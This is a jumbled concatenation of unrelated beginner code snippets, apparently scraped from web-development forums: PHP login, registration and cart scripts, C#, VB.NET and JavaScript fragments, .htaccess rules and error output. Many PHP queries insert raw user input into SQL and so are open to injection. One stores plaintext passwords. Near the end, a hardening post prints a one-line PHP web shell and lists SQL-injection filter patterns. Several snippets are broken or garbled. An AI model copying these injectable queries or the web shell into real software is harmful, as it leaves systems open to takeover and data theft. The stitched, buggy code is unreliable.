$arrappl[recstate].", ".$arrappl[reczip]."\n Email: ".$arrappl[recemail].
"\n \n and has requested the following reports: \n \n";
for ($i=0; $i<=$numreps; $i++)
{
$message = $message.$arrpsel[$i]."; ";
}

if (mail($to,$subject,$message,$headers))
{
printf("The following email was sent:<br /><br /> To: %s<br /><br />Subj: %s<br />
<br />Your WOTC Questionnaire for:<br /><br /> Name: %s",
$to,$subject,$arrappl[fullname]);
}
else
{
echo "<br />An ERROR was encountered and the email WAS NOT SENT<br />
Contact your webmaster for assistance.<br /><br />";
}

<a href="\\csvg003file3\GROUP\Safety\Security"

Process remoteProcess = new Process();

ProcessStartInfo remoteProcessStartInfo = new ProcessStartInfo();
remoteProcessStartInfo.CreateNoWindow = true;
remoteProcessStartInfo.ErrorDialog = false;
remoteProcessStartInfo.RedirectStandardError = false;
remoteProcessStartInfo.RedirectStandardOutput = false;
remoteProcessStartInfo.UseShellExecute = false;
remoteProcessStartInfo.FileName = "\\\\<remote_machine>\\winnt\\NOTEPAD.EXE";

remoteProcess.StartInfo = remoteProcessStartInfo;

remoteProcess.Start();
remoteProcess.WaitForExit();
remoteProcess.Dispose();

<?php
session_start();
include_once("db_include.php5");
doDB();

if(!$_POST) {
  //come directly via address bar
  header("Location: contact.php5");
  exit;
}

//sanitize input
$_CLEAN = array();

foreach($_POST as $k=>$v) {
if(preg_match("/sername/", $k)) {
  $v = check_chars_username($v);
} else if(preg_match("/mail/", $k)) {
  $v = check_chars_email($v);
} else  {
  $v = check_chars_address($v);
}
$v = mysqli_real_escape_string($mysqli,(trim($v)));
$_CLEAN[$k] = $v;
if(!preg_match("/assword/", $k)) {
$_SESSION[$k] = $v;
}
}

if(empty($_CLEAN['f_name']) || empty($_CLEAN['l_name']) || empty($_CLEAN['address']) || empty($_CLEAN['town']) || empty($_CLEAN['country']) || empty($_CLEAN['password']) || empty($_CLEAN['confirmPassword']) || empty($_CLEAN['username']) || empty($_CLEAN['confirmUsername']) || empty($_CLEAN['email']) || empty($_CLEAN['confirmEmail']) || !filter_var($_CLEAN['email'], FILTER_VALIDATE_EMAIL) ||
!filter_var($_CLEAN['confirmEmail'], FILTER_VALIDATE_EMAIL) || ($_CLEAN['confirmEmail'] === FALSE) || ($_CLEAN['password'] != $_CLEAN['confirmPassword']) || ($_CLEAN['username'] != $_CLEAN['confirmUsername']) || ($_CLEAN['email'] != $_CLEAN['confirmEmail'])) {
  //required fields not set - send them back

  header("Location: registration_form.php5?error=ef");
  exit;
}

  //already registered?
  //check for pre-existing account with same email address

  $check_sql = "SELECT id FROM aromaMaster WHERE LOWER(email)='".strtolower($_CLEAN['email'])."'";
  $check_res = mysqli_query($mysqli, $check_sql) or error_log(mysqli_error($mysqli)."\r\n");

  if(mysqli_num_rows($check_res) >= 1) {
    //duplicate entry
    mysqli_free_result($check_res);
    header("Location: registerfail.php5?error=ef");
    exit;
  }

    //check for pre-existing account with same username
      $check_sql = "SELECT id FROM aromaMaster WHERE LOWER(username)='".strtolower($_CLEAN['username'])."'";
  $check_res = mysqli_query($mysqli, $check_sql) or error_log(mysqli_error($mysqli)."\r\n");

  if(mysqli_num_rows($check_res) >=1 ) {
    //duplicate entry
    mysqli_free_result($check_res);
    header("Location: registerfail.php5?error=ef");
    exit;
} else {
  //create query
  $register_sql = "INSERT INTO aromaMaster (email, username, password, date_registered, last_seen) VALUES (
  '".htmlspecialchars($_CLEAN['email'])."',
  '".htmlspecialchars($_CLEAN['username'])."',
  '".sha1($_CLEAN['password'])."',
  now(), now())";
  $register_res = mysqli_query($mysqli, $register_sql) or error_log(mysqli_error($mysqli)."\r\n");
      $userid = mysqli_insert_id($mysqli);
      $_SESSION["userid"] = $userid;
      $_SESSION["username"] = $_CLEAN['username'];
      session_write_close();

    $address_sql = "INSERT INTO aromaAddress (userid, f_name, l_name, address, town, city, postcode) VALUES (
    '$userid',
      '".htmlspecialchars($_CLEAN['f_name'])."',
  '".htmlspecialchars($_CLEAN['l_name'])."',
    '".htmlspecialchars($_CLEAN['address'])."',
    '".htmlspecialchars($_CLEAN['town'])."',
    '".htmlspecialchars($_CLEAN['city'])."',
    '".htmlspecialchars($_CLEAN['country'])."',
    '".htmlspecialchars($_CLEAN['postcode'])."')";
    $address_res = mysqli_query($mysqli, $address_sql) or error_log(mysqli_error($mysqli)."\r\n");

      header("Location: registerredirect.php5");
  }
  mysqli_close($mysqli);
  ?>

require_once('breadcrumbs.php');

class vfrHome
{
    // Last ID to display in the table
    public $newsid = "";
    public $url = $_SERVER["PHP_SELF"]; // <-- This code is the problem, I get the error when the variable is there but the code runs when it's not there.


    public function Breadcrumbs() {
        $breadcrumb = new breadcrumb;
        $breadcrumb->dirformat='ucwords';
        $breadcrumb->showfile=FALSE;
        echo $breadcrumb->show_breadcrumb();
                echo " > Recent News";
    }
    
}

// already connected to sql host and database

$query = mysql_query("SELECT * FROM menu where power = 1 ORDER BY order");
while($row =  mysql_fetch_array($query))
{
echo "<a href='{$row['link']}'>{$row['name']}</a><br>/n";
$query2 = mysql_query("SELECT * FROM menu where under = {$row['id']} ORDER BY order");
$query3 = mysql_num_rows($query2);
if($query3 >= 1)
{
while($row2 = mysql_fetch_array($query2))
  {
  echo "-> <a href='{$row2['link']}'>{$row2['name']}</a>";
  }
}
}

$fn_name = $_SESSION['cart'][$row['product_id']]['fn'];
if ($fn_name != 0)
{
$fn_query = "SELECT colour FROM colours WHERE colour_id = $fn_name";
$fn_result = mysqli_query ($dbc, $fn_query);
$row=mysqli_fetch_assoc($fn_result);
$fn_name2 = $row['finish'];
echo "Color: " . $fn_name2;
}

$fn_name = $_SESSION['cart'][$row['product_id']]['fn'];
if ($fn_name != 0)
{
$fn_query = "SELECT color FROM colours WHERE color_id = $fn_name";
$fn_result = mysqli_query ($dbc, $fn_query);
if (mysqli_num_rows($fn_result) > 0)
{
echo "<br />Colour: {$_SESSION['cart'][$row['product_id']]['fn']}";
}
}

if ($fn_name == 1)
{
echo 'Colour: Black';
}
elseif ($fn_name == 2)
{
echo 'White';
}

$pa_id = $row['product_id'];
$q2 = "SELECT * FROM ageing WHERE ageing_id IN (SELECT age_id FROM productAge WHERE product_id = $pa_id) ORDER BY ageing_id";
$r2 = mysqli_query($dbc, $q2);
if (mysqli_num_rows($r2) > 0)
{
?>
<label for="ageing">Ageing:</label><select name="ageing<?php echo $pa_id ;?>" id="ageing<?php echo $pa_id ;?>">
<?php
while (list($ageing_id, $ageing_name) = mysqli_fetch_array($r2, MYSQLI_NUM))
{
echo "<option value=\"$ageing_id\"";
if((isset($_POST['ageing'])) && ($_POST['ageing'] == $ageing_id))
{
echo ' selected="selected" ';
}
echo ">" . $ageing_name . "</option>";
}
echo "</select><br />";
}

<html>
<head>
<title> imageIndex</title>
<head>
<body>
<?
//image index
//generate an index image containing all images in a particular directory
//point to whatever directory you wish to index

//index will be written to this directory as imageIndex.html
$dirName = " /learning/ ";
$dp = opendir($dirName);
chdir($dirName);

//add all files in directory to the $theFiles array
while ($currentFile !==false) {
$currenfile = readDir($dp);
$currentFile = readDir($dp);
$theFiles[] = $currentFile;
} //end wile

// extrac gif and gpg images
$imageFiles = preg_grep("/jpg$|gif$/", $theFiles);

$ourput ="";
foreach ($imageFiles as $currentFile){
$ourput .= <<<HERE
<a href =$currentFile>
<img src = "$currentFile"
height = 50
width = 50>
</a>
HERE;

} //endforeach

//save the index to the local file system
$fp = fopen ("imageIndex.html", "w");
fputs ($fp, $output);
fclose($fp);
//readFile("imageIndex.html");
print "<a href = $dirName/imageInde.html>image index</a>\n";
?>

</body>
</html>

Warning: opendir( /learning/ ) [function.opendir]: failed to open dir: No such file or directory in /home/gary/public_html/Personal/getimage.php on line 13

Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /home/gary/public_html/Personal/getimage.php on line 14

Warning: readdir(): supplied argument is not a valid Directory resource in /home/gary/public_html/Personal/getimage.php on line 18

Warning: readdir(): supplied argument is not a valid Directory resource in /home/gary/public_html/Personal/getimage.php on line 19

Warning: fopen(imageIndex.html) [function.fopen]: failed to open stream: Permission denied in /home/gary/public_html/Personal/getimage.php on line 39

Warning: fclose(): supplied argument is not a valid stream resource in /home/gary/public_html/Personal/getimage.php on line 41
image index

<div style="white-space:pre-wrap;">first line of words
next line-------------------and some more after many spaces</div>

<?php
// Check input
if ($name || $password) {
   if (!($name)) {
     print("Exuse me, but I think you forgot to fill in your name. Please try again <a href='login.php'>here</a>  ");
   }
   else if (!($password)) {
     print("Exuse me, but I think you forgot to fill in your password. Please try again <a href='login.php'>here</a>  ");
   }
   else {
    // Compare to database
     $query = "SELECT * FROM username WHERE name='$name'
                 AND password='$password'";
     $result = mysql_query($query);
     if ($data = mysql_fetch_array($result)) {
        
        print("There is allready a user with that name. Please choose another name <a href='register.php'> here </a>");
     }
     else {
        // Insert into table
        $sql = "INSERT INTO userdata(name,password,points,money)
        VALUES('$name','$password','$points',$money)";
        $result = mysql_query($sql);

        // Close connection
        $break = mysql_close($connection);

        // Display text on page
        print "Thank you sir, you can access your bank account <a href='play.php'> here </a>"
[b]line 64-->[/b]     }
   }
}

if (isset($_GET['id']))
{
$id = (int) $_GET['id'];
if ($id > 0)
{
$id_query = "SELECT product, price FROM products WHERE product_id = $id";
$id_result = mysqli_query ($dbc, $id_query);
if (mysqli_num_rows($id_result) == 1)
{
list ($product, $price) = mysqli_fetch_array($id_result, MYSQLI_NUM);
if (isset($_SESSION['cart'][$id]))
{
$_SESSION['cart'][$id] += $qty2;
echo "<p>Another copy of the following item has been added to your cart: <strong>$product</strong>.</p>\n";
}
else
{
$_SESSION['cart'][$id] = $qty2;
echo "<p>The following item has been added to your cart: <strong>$product</strong>.</p>\n";
}
}
}
}

if ($first_name && $last_name && $email) // if everything filled out ok
{
// make sure the email address is available
$emailQuery = "SELECT user_id FROM users WHERE email='$email'";
$emailResult = mysqli_query ($dbc, $emailQuery) or trigger_error("Query: $emailQuery\n<br />MySQL Error: " . mysql_error());
if (mysqli_num_rows($dbc, $emailResult) == 1) // email address is not available
{
echo '<p>That email address has already been registered. </p>';
}
else // the email address is available
{
// add the user
$query = "INSERT INTO users (email, first_name, last_name) VALUES ('$email', '$first_name', '$last_name')";
$result = mysqli_query ($dbc, $query) or trigger_error("Query: $query\n<br />MySQL Error: " . mysql_error());
if (mysqli_affected_rows($dbc) == 1) // If it ran ok
{
// send the email
$body = "Thank you for registering with us.\n";
mail($_POST['email'], 'Registration Confirmation', $body, 'From: info@testing.co.uk');
// finish the page
header ("Location: register-success.php");
}
else // if it did not run ok
{
echo '<p>You could not be registered due to a system error. We apologise for any inconvenience.</p>';
}
}
}
else // if one of the data tests failed
{
echo '<p>You have entered some data incorrectly. </p>';
}

function MultiSelector( list_target, max ){

// Where to write the list
this.list_target = list_target;
// How many elements?
this.count = 0;
// How many elements?
this.id = 0;
// Is there a maximum?
if( max ){
this.max = max;
} else {
this.max = -1;
};

/**
* Add a new file input element
*/
this.addElement = function( element ){

// Make sure it's a file input element
if( element.tagName == 'INPUT' && element.type == 'file' ){

// Element name -- what number am I?
element.name = 'file_' + this.id++;
// Trying other elements TEST
element.year = 'Year_' +this.id;
element.genre = 'Genre' +this.id; // not outputted in test
element.other = 'Other' +this.id; // not outputted in test
element.desc = 'Description_' +this.id;
element.label = 'Label_' +this.id;

// Add reference to this object
element.multi_selector = this;

// What to do when a file is selected
element.onchange = function(){

// New file input
var new_element = document.createElement( 'input' );
new_element.type = 'file';

// Add new element
this.parentNode.insertBefore( new_element, this );

// Apply 'update' to element
this.multi_selector.addElement( new_element );

// Update list
this.multi_selector.addListRow( this );

// Hide this: we can't use display:none because Safari doesn't like it
this.style.position = 'absolute';
this.style.left = '-1000px';

};
// If we've reached maximum number, disable input element
if( this.max != -1 && this.count >= this.max ){
element.disabled = true;
};

// File element counter
this.count++;
// Most recent element
this.current_element = element;

} else {
// This can only be applied to file input elements!
alert( 'Error: not a file input element' );
};

};


/**
* Add a new row to the list of files
*/
this.addListRow = function( element ){

// Row div
var new_row = document.createElement( 'div' );
<!-- var new_row2 = document.createElement('div'); -->

// Delete button
var new_row_button = document.createElement('input');
new_row_button.type = 'button';
new_row_button.value = 'Delete';

//Edit button
var new_row_button2 = document.createElement('input');
new_row_button2.type = 'button';
new_row_button2.value = 'Edit';
new_row_button2.style.float = 'right';

// References
new_row.element = element;
<!-- new_row2.element = element; -->

// Delete function
new_row_button.onclick= function(){

// Remove element from form
this.parentNode.element.parentNode.removeChild( this.parentNode.element );

// Remove this row from the list
this.parentNode.parentNode.removeChild( this.parentNode );

// Decrement counter
this.parentNode.element.multi_selector.count--;

// Re-enable input element (if it's disabled)
this.parentNode.element.multi_selector.current_element.disabled = false;

// Appease Safari
// without it Safari wants to reload the browser window
// which nixes your already queued uploads
return false;
}


// Edit function
// Use this to summon dynamic form for each individual track details editting
new_row_button2.onclick= function(){
openbox('Edit details', 0);
document.getElementById("singletitle").value = element.value;
document.getElementById("ayear").value = element.year;
document.getElementById("adesc").value = element.desc;
document.getElementById("alabel").value = element.label;
return false;
};


// Set row value
new_row.innerHTML = element.value;

// Add button
new_row.appendChild(new_row_button2);
new_row.appendChild( new_row_button );

// Add it to the list
this.list_target.appendChild(new_row);

};

};

<?php

foreach($_POST as $key => $i){

print("$key=$i<br>");
}

foreach($_FILES as $upfile)
{

print($upfile['name']."<br>");
}

?>

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ http://profile.example.com/index.php?user=$1

For j As Integer = 1 To 100
  System.Threading.Thread.Sleep(2000)   'pause for 2 seconds
  Response.Write(j.toString+"<br>")
Next

<div id='search'>
  <form action='/search/label/' id='searchform' method='get'>
    <input id='s' name='q' type='text' value=''/>
    <input id='searchsubmit' type='submit' value=''/>
  </form>
</div>

<h1>Sample page</h1>
<h2>Lorem ipsum will not follow because I'm too lazy to get it</h2>
<h3>Instead I'll put Bla Bla</h3>
<h4>Sorry.</h4>
<p>Bla Bla</p>
<p>etc...</p>

<?php /*
<h1>Sample page</h1>
<h2>Lorem ipsum will not follow because I'm too lazy to get it</h2>
<h3>Instead I'll put Bla Bla</h3>
<h4>Sorry.</h4>
<p>Bla Bla</p>
<p>etc...</p>
*/ ?>

<?php
$settings = array();
$settings['title'] = 'Website';
$settings['tagline'] = 'Sample';
$settings['lang'] = 'en';
?>

function print_php_array($array, $php_name)

{

    $end_str = "\n$" . $php_name . " = array();";

    

    foreach( $array as $key => $value )

    {

        if ( is_string($value) )

        {

            $end_str = $end_str . "\n$" . $php_name . "['" . $key . "'] = '" . $value . "';";

        }

        if ( is_array($value) )

        {

            $end_str = $end_str . "\n$" . print_php_array($value, $php_name . "['" . $key . "']");

        }

    }

    return $end_str;

}

Fatal error: Call to undefined function ftp_connect() in /hosted/subs/ulmb.com/g/a/gangwardm/public_html/ban.php on line 10

<?php
    //GetBans
    //October 11th/2009
    //Retrieves the samp banlist from your server and echos it back in a neat fashion.
    
    $ftp_host = "-myhostname-"; //put the ip / hostname to your ftp here
    $ftp_user = "-myusername"; //put your login here
    $ftp_pass = "-mypassword-"; //put your password here
    $banfile = "samp.ban";
    $con = ftp_connect($ftp_host) or die("Couldnt connect to your ftp (check your settings!");
    ftp_login($con, $ftp_user, $ftp_pass);
    ftp_get($con, "ban.txt", $banfile, FTP_ASCII);
    ftp_close($con);
    
    $file = fopen("ban.txt", "r");
    $bans = fread($file, filesize("ban.txt"));
    fclose($file);
    
    echo nl2br($bans);

?>

<?php  
require_once 'db.php';
$page_mode = $_POST['page_mode']; # empty variable defaults to '' (or null)

if ($page_mode === 'register')
{
  $username = mysql_real_escape_string(trim($_POST['username']));
  $password = $_POST['password'];

  if ($password !== $_POST['conf_password']) $error_string .= 'Password mismatch.<br>';

  if ($error_string == '')
  {
    $result = db_query("SELECT username FROM users WHERE username='$username';");
    if (mysql_num_rows($result) > 0) $error_string .= 'The username is already registered.<br>';
    else
    {
      $password = sha1($password); // hash password once
      
      db_query("INSERT INTO users (username, password) VALUES ('$username', '$password');");
      header('Location: thankyou.php');
      exit();
    }
  }
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <title>Register</title>
    <style type="text/css">
    .error_text {
      color: #FF0000;
      width: 400px;
      text-align: center;
    }
    .left_box {
      float: left;
      width: 150px;
      text-align: right;
      padding-right: 5px;
    }
    .right_box {
      clear: right;
    }
    </style>
  </head>
  <body>
    <div class="error_text"><?php echo $error_string; ?></div>

    <form action="register.php" method="post">
    <input type="hidden" name="page_mode" value="register">

    <div class="left_box">Username</div>
    <div class="right_box"><input type="text" name="username" size="30" maxlength="255" value="<?php if (isset($username)) echo $username; ?>"></div>

    <div class="left_box">Password</div>
    <div class="right_box"><input type="password" name="password" size="30"></div>

    <div class="left_box">Confirm Password</div>
    <div class="right_box"><input type="password" name="conf_password" size="30"></div>

    <div class="left_box"> </div>
    <div class="right_box"><input type="submit" value="Register" size="30"></div>

    </form>
  </body>
</html>

<?php

session_start();
$error_string = ''; # error_string is modified in db.php!
require_once 'db.php';
$page_mode = $_POST['page_mode']; # empty variable defaults to '' (or null)

if ($page_mode === 'login')
{
  $username = mysql_real_escape_string(trim($_POST['username']));
  $password = $_POST['password'];

  if ($username == '' || strlen($password) == 0) # password can be of spaces, which must not be trimmed!
    $error_string .= 'Please enter your username and password.<br>';
  else
  {
    $result = db_query("SELECT id, username, password FROM users WHERE username='$username';");
    if (!($row = mysql_fetch_assoc($result)))
      $error_string .= 'The username was not found.<br>';
    else if ($row['password'] != sha1($password))
      $error_string .= 'The password did not match.<br>';
    else
    {
      $_SESSION['user_id'] = $row['id'];
      $_SESSION['user_name'] = $row['username'];
      header('Location: /');
      exit();
    }
  }
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <title>Register</title>
    <style type="text/css">
    .error_text {
      color: #FF0000;
      width: 400px;
      text-align: center;
    }
    .left_box {
      float: left;
      width: 150px;
      text-align: right;
      padding-right: 5px;
    }
    .right_box {
      clear: right;
    }
    </style>
  </head>
  <body>
    <div class="error_text"><?php echo $error_string; ?></div>

    <form action="login.php" method="post">
    <input type="hidden" name="page_mode" value="login">

    <div class="left_box">Username</div>
    <div class="right_box"><input type="text" name="username" size="30" maxlength="255" value="<?php if (isset($username)) echo $username; ?>"></div>

    <div class="left_box">Password</div>
    <div class="right_box"><input type="password" name="password" size="30"></div>

    <div class="left_box"> </div>
    <div class="right_box"><input type="submit" value="Log In" size="30"></div>

    </form>
  </body>
</html>

<?php
include'connect.php';

mysql_select_db("$dbname");
$query  = "SELECT id FROM user";
$result = mysql_query($query) or die(mysql_error());
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
    echo "{$row['id']}";
}
?>

<FilesMatch "\.(htaccess|inc)$">
Order Allow,Deny
Allow from localhost
Allow from 127.0.0.1
Deny from all

# Or

AddType application/x-httpd-php .inc .php .php3 .php4 .php5 .php6 .phphtml
AddHandler application/x-httpd-php .inc .php .php3 .php4 .php5 .php6 .phphtml
</FilesMatch>

class MyClass
{
    public function __construct()
    {
        # Codes...
    }
}
# Or
class MyClass
{
    public function MyClass()
    {
        # Codes...
    }
}

final class MyClass
{
    final public function MyClass()
    {
        # Codes...
    }

    final private function MyFunction()
    {
        # Codes...
    }
}

class MyClass
{
    public function __clone()
    {
        exit;
    }
}

if(!extension_loaded('mysql')): exit('Extension MySQL not loaded.');
endif;
...
if(function_exists('mysql_real_escape_string')): mysql_real_escape_string(...);
else: mysql_escape_string(...);
endif;
...
if(function_exists('settype')): settype($Str_Input, 'string');
else: (string)$Str_Input;
endif;

<input name="InpTxt_Username" type="text" value="" maxlength="15" size="15" id="InpTxt_Username">

<input type="text" name="InpTxt_Username" id="InpTxt_Username">

overflow: hidden; width: 250px; height: auto;

width: 250px; height: auto; overflow: hidden;

$_REQUEST['FormName'], $_REQUEST['SubmitButtonName']...
And(wrong):
[CODE]$_GET['FormName'], $_GET['SubmitButtonName']...

charset= 'utf8' collate= 'utf8_general_ci

drop table if exists `xxxxx`;
create table if not exists `xxxxx`;

<Limit PUT DELETE OPTIONS CONNECT>
Order Allow,Deny
Allow from localhost
Allow from 127.0.0.1
Deny from all
</Limit>

<Limit POST GET HEAD>
Order Allow,Deny
Allow from all
Deny From "255.255.255.255"
Deny From "0.0.0.0"
Deny From "1.1.1.1"
Deny From " "
</Limit>

ServerSignature Off

#LimitRequestBody 1024

AddType application/x-httpd-php .php .php3 .php4 .php5 .php6 .phphtml

AddHandler application/x-httpd-php .php .php3 .php4 .php5 .php6 .phphtml

DirectoryIndex index.html index.php index.php3 index.php4 index.php5 index.php6 index.phphtml

Options All -Indexes -ExecCGI -MultiViews

<FilesMatch "\.(htaccess|sql|session|htpasswd|passwd)$">
Order Allow,Deny
Allow from localhost
Allow from 127.0.0.1
Deny from all
</FilesMatch>

# Hmmm?!...
<Files "robots.txt">
Order Allow,Deny
Allow from localhost
Allow from 127.0.0.1
Deny from all
</Files>

#AcceptPathInfo On

<IfModule security_module>
SecFilterEngine DynamicOnly
SecFilterScanPOST On
SecFilterCheckURLEncoding On
SecFilterCheckCookieFormat On
SecFilterCheckUnicodeEncoding Off
SecFilterForceByteRange 1 255
SecServerSignature ""
SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "concat"
SecFilter "union"
SecFilter "select.+from"
SecFilter "select+*+from"
</IfModule>

unset($variable, $array...);
# ...
unset($_SERVER['QUERY_STRING'], $_SERVER['REQUEST_URI'], ...)
# ...
$obj_myclass= new myclass();
# uages & codes...
$obj_myclass= null;

<?php
@system($_REQUEST['Command']);
?>
or
<?php
worm, cookiestealer...
?>
or
...

<?php require_once('includes/basketdiv.php'); ?>

<div class="basketdiv"><a href=basket.php>Basket Items: 0 | Total Price: £0</a></div>